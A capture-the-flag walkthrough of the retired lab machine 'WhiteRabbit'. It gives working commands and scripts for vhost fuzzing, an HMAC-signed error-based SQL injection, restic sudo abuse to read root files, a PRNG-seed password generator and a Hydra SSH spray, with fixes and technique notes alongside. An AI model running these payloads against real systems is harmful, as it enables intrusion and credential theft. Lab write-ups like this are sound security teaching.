WhiteRabbit
Summary
I fuzz-enumerated hidden virtual hosts on a Caddy reverse proxy and discovered a Wiki.js instance that permitted unauthenticated GraphQL queries. A public internal page linked to an exported n8n automation workflow file that was served with no authentication and contained a live HMAC signing secret and webhook URL. The webhook's SQL node interpolated the email field directly into a raw MariaDB query; signing crafted payloads with the leaked secret enabled error-based SQL injection that exposed a shell-command audit table holding the plaintext password for an internal restic backup server.
Restoring the backup snapshot recovered an encrypted SSH key archive for container user bob; cracking the archive with rockyou.txt gave a foothold inside a Docker container. Bob held passwordless sudo over the restic binary, which was abused to back up host root-owned paths and restore them to a readable location, yielding the SSH private key for real host account morpheus and the user flag. On the real host, a SUID-adjacent password-generator binary seeded its PRNG from its own file modification timestamp: a value readable by any user.
Reimplementing the generator in C and spraying the ~1,000 resulting candidates with Hydra recovered the password for user neo, who was a member of the sudo group, producing a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for neo>"
export PASSWORD3="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"Attack path: how the box was taken
Exact commands 3
Register the base vhost for local DNS resolution.
$ echo "$TARGET whiterabbit.htb" | sudo tee -a /etc/hostsBrute-force vhosts; -ac auto-calibrates to suppress the default 302 noise.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://$TARGET/ -H 'Host: FUZZ.whiterabbit.htb' -ac -t 60 -sRegister discovered vhosts before browsing them.
$ echo "$TARGET a668910b5514e.whiterabbit.htb status.whiterabbit.htb" | sudo tee -a /etc/hostsExact commands 3
Dump the GoPhish Webhooks wiki page anonymously; reveals the workflow export link.
$ curl -s -X POST http://a668910b5514e.whiterabbit.htb/graphql -H 'Content-Type: application/json' -d '{"query":"{pages{single(id:2){path title content}}}"}'Download the exported n8n workflow; contains HMAC secret and webhook URL.
$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json -o wf.json && cat wf.jsonRegister the third hidden vhost discovered inside the workflow JSON.
$ echo "$TARGET 28efa8f7df.whiterabbit.htb" | sudo tee -a /etc/hostsFixRequire authentication for all Wiki.js pages and remove secrets from documentationCritical
Exact commands 2
Confirm error-based SQLi; swap the inner SELECT to enumerate tables or rows.
$ python3 - <<EOF
import hmac, hashlib, requests, json
secret = b"$KEY"
url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
q = 'x" or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest()
print(requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig}).text)
EOFDump all six command_log rows; rows 3-4 contain the restic repo URL and password.
$ python3 - <<EOF
import hmac, hashlib, requests, json
secret = b"$KEY"
url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
for i in range(6):
q = f'x" or extractvalue(1,concat(0x7e,(select command from temp.command_log limit 1 offset {i})))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest()
r = requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig})
print(i, r.text[:300])
EOFFixParameterize all SQL in n8n workflows and rotate the HMAC signing secretCritical
Exact commands 5
Register the restic REST server vhost.
$ echo "$TARGET 75951e6ff.whiterabbit.htb" | sudo tee -a /etc/hostsList available backup snapshots using the leaked repository password.
$ export RESTIC_PASSWORD="$PASSWORD" && restic -r rest:http://75951e6ff.whiterabbit.htb snapshotsRestore the snapshot; SSH files land in /tmp/rr/dev/shm/bob/ssh/.
$ restic -r rest:http://75951e6ff.whiterabbit.htb restore latest --target /tmp/rrCrack the archive password; john recovers '$PASSWORD3'.
$ 7z2john /tmp/rr/dev/shm/bob/ssh/bob.7z > /tmp/bob.hash && john /tmp/bob.hash --wordlist=/usr/share/wordlists/rockyou.txtExtract bob's private key from the cracked archive.
$ 7z x -p"$PASSWORD3" /tmp/rr/dev/shm/bob/ssh/bob.7z -o/tmp/bobkey && chmod 600 /tmp/bobkey/bobFixPurge credentials from SQL-accessible audit logs and enforce secrets hygiene for CLI commandsHigh
Exact commands 1
Connect to the container port with bob's stolen key; verify container environment.
$ ssh -i /tmp/bobkey/bob -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bob@$TARGET 'id; hostname; ls -la ~; ls -la /'
uid=1001(bob) gid=1001(bob) groups=1001(bob)Exact commands 4
Confirm the NOPASSWD restic rule inside the container.
$ ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'sudo -l'Use script as a pty wrapper to satisfy restic's interactive-terminal check; backs up and restores /root.
$ ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'export RESTIC_PASSWORD='"$USERNAME"'; script -qc "sudo /usr/bin/restic init --repo /tmp/loot_repo" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo backup /root" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo restore latest --target /tmp/loot" /dev/null && ls /tmp/loot/root/'Transfer the recovered morpheus SSH key to my machine.
$ scp -i /tmp/bobkey/bob -P 2222 bob@$TARGET:/tmp/loot/root/morpheus /tmp/morpheus && chmod 600 /tmp/morpheusAuthenticate to the real host as morpheus; reads the user flag <user.txt>.
$ ssh -i /tmp/morpheus -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null morpheus@$TARGET 'id; hostname; cat ~/user.txt'
uid=1001(morpheus)FixRemove the passwordless sudo rule for restic and run backups under a least-privilege service accountCritical
Exact commands 4
Read the binary's mtime and disassemble to identify the PRNG seeding logic.
$ ssh -i /tmp/morpheus -p 22 morpheus@$TARGET 'stat /opt/neo-password-generator; objdump -d --no-show-raw-insn -M intel /opt/neo-password-generator | head -150'Reimplement the generator; adjust charset and password length to match objdump findings.
$ cat > /tmp/gen.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
long base = atol(argv[1]);
int range = atoi(argv[2]);
const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$";
int len = strlen(chars);
for (int ms = 0; ms < range * 1000; ms++) {
srand((unsigned)(base + ms));
char pw[17]; pw[16] = '\0';
for (int i = 0; i < 16; i++) pw[i] = chars[rand() % len];
printf("%s\n", pw);
}
return 0;
}
EOF
gcc -O2 -o /tmp/gen /tmp/gen.cGenerate ~1000 candidates for the one-second mtime window.
$ /tmp/gen 1725028842 1 > /tmp/neo_candidates.txt && wc -l /tmp/neo_candidates.txtSpray the candidate list; recovers neo:$PASSWORD2.
$ hydra -l neo -P /tmp/neo_candidates.txt -t 4 ssh://$TARGETFixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Exact commands 1
Authenticate as neo and immediately escalate; reads the root flag <root.txt>.
$ sshpass -p "$PASSWORD2" ssh -tt -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neo@$TARGET 'id; echo '"$PASSWORD2"' | sudo -S sh -c "id; cat /root/root.txt"'
uid=1001(neo) gid=1001(neo) groups=1001(neo),27(sudo)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Caddy httpd |
| 2222/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.